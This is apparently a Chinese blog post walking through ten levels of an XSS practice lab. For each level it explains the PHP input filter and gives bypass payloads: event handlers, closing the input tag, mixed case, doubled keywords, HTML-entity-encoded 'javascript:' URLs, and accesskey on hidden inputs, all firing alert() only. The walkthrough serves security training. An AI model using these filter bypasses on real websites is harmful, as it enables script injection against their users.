xss源代碼練習(一)

Xss練習代碼

1.

<script>alert(/xss/)</script>

 

 

 

2.

有兩個地方輸出,第一個是php中的惡臭,做了過濾,第二個是input標籤中沒有過濾,於是在input標籤中插入payload

(1)還在input裏面,添加事件

移動下鼠標即可觸發payload爲:    " onmouseover="alert(/xss/)

點擊輸入框即可觸發payload爲:    " onclick="alert(/xss/)

點擊輸入框即可觸發payload爲:    " onfocus="alert(/xss/)

(2)將input標籤閉合

用<img>標籤payload爲: "><img src=! onerror="alert(/xss/)">

用<img>標籤payload爲:"><img src="javascript:alert(/xss/)"> //瀏覽器可能會過濾這個

用<a>標籤payload爲: "><a href="javascript:alert(/xss/)">xss</a>

用<a>標籤payload爲:<a href="" onmouseover="alert(/xss/)">xss</a> // 移動鼠標至框內

 

 

 

3.

兩個地方都做了過濾,htmlspecialchars就是把預定義的字符轉換爲 HTML 實體。

雙引號和尖括號都沒有用了,但是單引號在這個函數中沒有特殊的改動,並且源碼中的value也是用的單引號,所以

' onmouseover='alert(/xss/)   //第一個單引號閉合前面value後面的引號,第二個單引號閉合value後面的第二個單引號

 

 

 

4.

 

可以看到第一處還是轉義,第二處做了一些處理,方框裏的處理,str_replace函數是替換,用法是 str_replace(find,replace,string,count) 第一個參數是被替換的,第二個參數是要替換成什麼,第三個參數是被使用的字符串,前三個參數是必須的,第四個參數是可選的,對替換數進行計數的變量。這裏就是將尖括號換成空。所以不能閉合標籤就還在標籤裏觸發xss

所以   " onfocus="alert(/xss/)  //鼠標點擊輸入框出發,這裏value是雙引號所以payload也是雙引號,

 

 

5.

還是有兩個點,第一個點進行了轉義,第二個點進行了方框裏的處理,strtolower函數會把所有的字母都換成小寫,然後再把 <scrip 替換成 <scr_ip ,on替換成o_n  。由於把字符都換成了小寫,所以不能用大寫來繞過,只能跳出input標籤,並且有on和<script的不能用,但是script可以用,因爲替換的規則裏面包含了尖括號

"><a href="javascript:alert(/xss/)">xss</a> 

 

 

6.

過濾的敏感詞更多了,但是沒有了strtolower函數了,所以可以用大小寫還是有兩種思路,在input標籤裏面,跳出input

(1)在input裏面

" Onclick=alert(1)><x="  //還有很多

(2)跳出input

"><sCript>alert(/xss/)</sCript><x="  //還有很多

 

 

7.

過濾了大寫,將關鍵字符替換成空格。我們可以利用這個空格,比如說我們需要on,但是會被過濾成空格,於是用oonn,中間的兩個字母就是on變成了空格,於是最終就是on。格外注意這裏的src和script是過濾了兩個。

還是兩種思路

(1)在input裏面

" oonnclick=alert(1)><x="  //還有很多

(2)跳出input

"><scscriptript>alert(/xss/)</scscriptript><x="  //還有很多

 

 

8.

先是把字符都轉換成小寫,然後將關鍵詞進行替換,包括雙引號,最後還用htmlspecialchars進行轉義,但是看到下面是一個添加友情鏈接。在input框中輸入字符提交之後,在友情鏈接處會載入一個拼接後的a標籤,因爲javascript被過濾對其進行編碼繞過再點擊友情鏈接即可。   javascrip&#116;:alert(/xss/)    // t的ascii值爲116,用&#116表示,因爲在href中的是對字符串進行替換之後的,所以需要改動

 

在網頁中&#開頭的是HTML實體。&#+ASCII+;

javascrip&#116;:alert(/xss/)

 

 

9.

 

 

strpos(string,find,start) ,第一個參數string是必須的,規定了要搜索的字符串,第二個參數find是必須的,規定了要查找的字符串,第三個參數start是可選的,規定在何處開始搜索。

這個地方就是對str7進行搜索,要找字符串 http://  ,所以if語句就是如果str7中沒有要找的字符串,就執行if語句,如果找到了就會返回效應的位置比如2,就不會等於false,就可以繞過。

javascrip&#116;:alert(/xss/)//http://   

 

10.

 

插入點在一個有hidden 屬性的input 標籤,但是這裏由於該input 未在頁面中顯示,常用的onclick 方法無法使用(點不到這個標籤怎麼觸發onclick…),不過在瀏覽器中還有一個好玩的屬性叫accesskey。accesskey 屬性規定激活(使元素獲得焦點)元素的快捷鍵,以下元素支持 accesskey 屬性:<a>, <area>, <button>, <input>, <label>, <legend> 以及 <textarea>。

Alt + accessKey (或者 Shift + Alt + accessKey) 來訪問帶有指定快捷鍵的元素。

&t_sort=xss" onclick=alert(/xss/) accesskey="x   //在firefox瀏覽器中快捷鍵是alt+shift+x

&t_sort=xss" onclick=alert(/xss/) type="text"    //直接把type改成可以顯示的

&t_sort=xss" onmouseover=alert(/xss/) type="text"   //換了一個事件

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章